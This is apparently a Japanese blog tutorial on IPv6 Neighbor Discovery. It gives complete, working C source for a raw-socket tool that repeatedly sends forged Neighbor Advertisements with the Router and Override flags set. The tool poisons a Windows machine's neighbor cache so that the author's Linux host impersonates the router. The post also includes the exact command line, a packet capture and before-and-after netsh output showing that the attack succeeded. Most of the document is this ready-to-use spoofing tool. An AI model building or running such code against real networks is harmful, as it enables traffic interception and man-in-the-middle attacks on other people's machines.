IPv6ネットワークプログラミング NDP(近隣広告)編
IPv4とIPv6には互換性がなくパケットの構造も全く違っています。
そのためIPv4で実現していた技術もIPv6では違った方法で実装することになります。
アドレス解決もその一つです。
IPv4ではIPアドレスからリンク層アドレスを解決する際にARPというプロトコルが使われていましたが、IPv6ではこれをICMPv6が担当し、IPv6でのアドレス解決は近隣探索と呼ばれています。
近隣探索の一つである「近隣広告」をうまい具合に使うと以下のようなことがIPv6ネットワークで実現できます。
そこで今回は同一セグメント内のマシンの近隣キャッシュを上書きしてルーターになりすましてみましょうか。
近隣広告のパケット構造
まずは近隣広告パケットについて見ていきましょう。
タイプ、コード、チェックサムがありICMPv6で共通のフィールドです。
- タイプ ICMPv6メッセージのタイプ 今回は136(近隣広告)
- コード ICMPv6メッセージのコード 今回は0
- チェックサム 擬似IPv6ヘッダーを含めた近隣広告パケット全体のチェックサム
IPv4の場合と違いIPv6ではICMPv6のチェックサムの計算対象に擬似IPv6ヘッダーを含める必要があります。
誤送信を防ぐためらしいです。
https://tools.ietf.org/html/rfc4443
近隣広告はそこから以下の値が続きます。
- フラグ(1byte)
近隣要請、ルーターからの送信、キャッシュ上書きなどを指定する - IPv6アドレス(16byte)
広告したいHWアドレスに紐づくIPv6アドレス - オプションタイプ(1byte)
- オプション長(1byte)
オプションタイプ、オプション長、オプションデータを含めた8オクテット単位の長さ(この場合オプションタイプ+オプション長+Macアドレス=8のため1を指定) - HWアドレス(6byte)
広告したいHWアドレス
検証に使うマシン
LinuxとWindowsを一台ずつ用意致しました。
Linux
1 2 |
IPv6 Address: 2001:db8:0:3:d04d:a915:964d:1535/64 Hardware Address: 18:c2:bf:e9:b9:91 |
Windows(ターゲット)
1 2 |
IPv6 Address: 2001:db8:0:3:54c3:598b:9486:a75c/64 Hardware Address: cc:30:80:20:84:6a |
ルーター
1 2 |
IPv6 Address: 2001:db8:0:3::1 Hardware Address: 00-a0-de-65-aa-1c |
今回Windowsの近隣キャッシュを上書きするパケットをLinuxから送信します。
そのためパケットのIPv6アドレスフィールドとHWアドレスフィールドに、
先述したLinuxマシンの値をそれぞれ指定します。
これでWindowsの近隣キャッシュの内容が指定した値で上書きされます。
検証
検証するためのソースコード
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 |
#include <sys/socket.h> #include <sys/ioctl.h> #include <netpacket/packet.h> #include <net/if.h> #include <netinet/if_ether.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> // 諸々の情報 struct { char name[64]; uint8_t hw_addr[6]; int raw_soc; struct in6_addr src_addr; struct in6_addr dst_addr; uint8_t src_mac[6]; uint8_t dst_mac[6]; } g_param; // 近隣広告パケット struct icmpv6_neiadv { struct nd_neighbor_advert na; struct nd_opt_hdr noh; uint8_t link_addr[6]; }; // 擬似IPv6ヘッダー struct pseudo_ipv6 { struct in6_addr src_addr; struct in6_addr dst_addr; uint32_t len; uint8_t zero[3]; uint8_t next; }; // チェックサム計算 uint16_t checksum(uint16_t *data, int size) { uint32_t sum = 0; for (;size > 1; size -= 2) { sum += *data++; if (sum & 0x80000000) { sum = (sum >> 16) + (sum & 0xffff); } } if (size == 1) { uint8_t odd; odd = *(uint8_t *)data; sum += odd; } while(sum >> 16) { sum = (sum >> 16) + (sum & 0xffff); } return ~sum; } // macアドレスをいい具合に配列に void set_mac_addr(uint8_t *addr, char *str) { addr[0] = strtoul(strtok(str, ":"), NULL, 16); for (int i=1; i<6; i++) { addr[i] = strtoul(strtok(NULL, ":"), NULL, 16); } } void send_packet(char *packet, int len) { if (send(g_param.raw_soc, packet, len, 0) == -1) { perror("send"); } } // イーサネットヘッダー作成 void make_ether_header(struct ether_header *eh, uint8_t *src, uint8_t *dst, uint16_t type) { memcpy(eh->ether_shost, src, 6); memcpy(eh->ether_dhost, dst, 6); eh->ether_type = htons(type); } // ipv6ヘッダー作成 void make_ipv6_header( struct ip6_hdr *ip6, uint16_t len, uint8_t next, struct in6_addr *src, struct in6_addr *dst ) { memset(ip6, 0, sizeof(struct ip6_hdr)); ip6->ip6_vfc = 6<<4; ip6->ip6_plen = htons(len); ip6->ip6_nxt = next; ip6->ip6_hops = 255; memcpy(&(ip6->ip6_src), src, sizeof(struct in6_addr)); memcpy(&(ip6->ip6_dst), dst, sizeof(struct in6_addr)); } // 近隣広告パケット作成 void make_neiadv_header( struct icmpv6_neiadv *icmpv6, struct in6_addr *src_addr, struct in6_addr *dst_addr, uint8_t *hw_addr ) { memset(icmpv6, 0, sizeof(struct icmpv6_neiadv)); icmpv6->na.nd_na_type = ND_NEIGHBOR_ADVERT; icmpv6->na.nd_na_code = 0; icmpv6->na.nd_na_cksum = 0; // フラグ ルーターが送信 キャッシュを上書きしてください icmpv6->na.nd_na_flags_reserved = ND_NA_FLAG_OVERRIDE|ND_NA_FLAG_ROUTER; memcpy(&(icmpv6->na.nd_na_target), src_addr, sizeof(struct in6_addr)); // オプション icmpv6->noh.nd_opt_type = ND_OPT_TARGET_LINKADDR; icmpv6->noh.nd_opt_len = 1; memcpy(icmpv6->link_addr, hw_addr, 6); // 擬似IPヘッダもチェックサムの計算対象になっているみたい struct pseudo_ipv6 pipv6; memset(&pipv6, 0, sizeof(struct pseudo_ipv6)); memcpy(&(pipv6.src_addr), src_addr, sizeof(struct in6_addr)); memcpy(&(pipv6.dst_addr), dst_addr, sizeof(struct in6_addr)); pipv6.len = htonl(sizeof(struct icmpv6_neiadv)); pipv6.next = IPPROTO_ICMPV6; uint plen = sizeof(struct pseudo_ipv6)+sizeof(struct icmpv6_neiadv); char packet[plen]; memcpy(packet, &pipv6, sizeof(struct pseudo_ipv6)); memcpy(&packet[sizeof(struct pseudo_ipv6)], icmpv6, sizeof(struct icmpv6_neiadv)); icmpv6->na.nd_na_cksum = checksum( (uint16_t *)packet, plen ); } // パケットを送り続ける void send_process() { int ehlen = sizeof(struct ether_header); int iplen = sizeof(struct ip6_hdr); int icmplen = sizeof(struct icmpv6_neiadv); char packet[ehlen+iplen+icmplen]; memset(packet, '\0', sizeof(packet)); make_ether_header((struct ether_header *)packet, g_param.src_mac, g_param.dst_mac, ETHERTYPE_IPV6); make_ipv6_header( (struct ip6_hdr *)&packet[ehlen], icmplen, IPPROTO_ICMPV6, &(g_param.src_addr), &(g_param.dst_addr) ); make_neiadv_header( (struct icmpv6_neiadv *)&packet[ehlen+iplen], &(g_param.src_addr), &(g_param.dst_addr), g_param.src_mac ); printf("Sending Neighbor Advertisement Packet...\n"); for (;;) { send_packet(packet, sizeof(packet)); sleep(1); } } // ソケット作成 // 一応イーサネットまで受信 int make_socket(char *device) { int soc; struct sockaddr sa; struct sockaddr_ll ll; struct ifreq ir; if ((soc = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) { perror("socket"); return -1; } snprintf(ir.ifr_name, sizeof(ir.ifr_name), "%s", device); if (ioctl(soc, SIOCGIFINDEX, &ir) < 0 ){ perror("ioctl"); return -1; } ll.sll_family = PF_PACKET; ll.sll_protocol = htons(ETH_P_ALL); ll.sll_ifindex = ir.ifr_ifindex; if (bind(soc, (struct sockaddr *)&ll, sizeof(ll)) < 0 ) { perror("bind"); return -1; } if (ioctl(soc, SIOCGIFHWADDR, &ir) < 0) { printf("SIOCGIFHWADDR\n"); perror("ioctl"); close(soc); return -1; } uint8_t *p = (uint8_t *)&ir.ifr_addr.sa_data; memcpy(g_param.hw_addr, p, 6); return soc; } // 引数にインターフェース名 リンク層アドレス IPアドレス int main(int argc, char *argv[]) { int soc; if (argc < 5) { printf("[Error]: Args [device] [Source IPV6 Address] [Destination IPV6 Address] [Source HardWare Address] [Destination Hardware Address]\n"); exit(0); } memcpy(g_param.name, argv[1], strlen(argv[1])); if ((g_param.raw_soc = make_socket(g_param.name)) == -1) { printf("[Error] failed make recv_socket\n"); exit(0); } inet_pton(AF_INET6, argv[2], &g_param.src_addr); inet_pton(AF_INET6, argv[3], &g_param.dst_addr); set_mac_addr(g_param.src_mac, argv[4]); set_mac_addr(g_param.dst_mac, argv[5]); send_process(); return 0; } |
だらだらと長いソースコードですが、重要な部分はICMPv6パケットの作成部分かと思います。
まずターゲットの近隣情報を確認します。
1 2 3 4 5 6 7 8 |
netsh interface ipv6 show neigh インターフェイス 12: イーサネット インターネット アドレス 物理アドレス 種類 -------------------------------------------- ----------------- ----------- 2001:db8:0:3::1 00-a0-de-65-aa-1c 到達可能 (ルーター) |
プログラムを動かします。
1 |
sudo ./NeiAdv enx18c2bfe9b991 2001:db8:0:3::1 2001:db8:0:3:54c3:598b:9486:a75c 18:c2:bf:e9:b9:91 cc:30:80:20:84:6a |
以下のようなパケットがネットワークに蔓延します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
Internet Protocol Version 6, Src: 2001:db8:0:3::1, Dst: 2001:db8:0:3:54c3:598b:9486:a75c 0110 .... = Version: 6 .... 0000 0000 .... .... .... .... .... = Traffic Class: 0x00 (DSCP: CS0, ECN: Not-ECT) .... .... .... 0000 0000 0000 0000 0000 = Flow Label: 0x00000 Payload Length: 32 Next Header: ICMPv6 (58) Hop Limit: 255 Source: 2001:db8:0:3::1 Destination: 2001:db8:0:3:54c3:598b:9486:a75c Internet Control Message Protocol v6 Type: Neighbor Advertisement (136) Code: 0 Checksum: 0xcffd [correct] [Checksum Status: Good] Flags: 0xa0000000, Router, Override Target Address: 2001:db8:0:3::1 ICMPv6 Option (Target link-layer address : 18:c2:bf:e9:b9:91) |
ターゲットの近隣キャッシュを再度確認します。
1 2 3 4 5 6 7 8 |
C:\Users\wndmi>netsh interface ipv6 show neigh インターフェイス 12: イーサネット インターネット アドレス 物理アドレス 種類 -------------------------------------------- ----------------- ----------- 2001:db8:0:3::1 18-c2-bf-e9-b9-91 Stale (ルーター) |
成功したようです。
たしかWindowsはpingなどのICMPメッセージは破棄していたような気がしましたが、ICMPv6は受け付けるようです。
ICMPv6には他にもさまざまな役割を持ったメッセージがあります。
IPv6ネットワークではそこそこ注目されるプロトコルなのではないでしょうか。
さようなら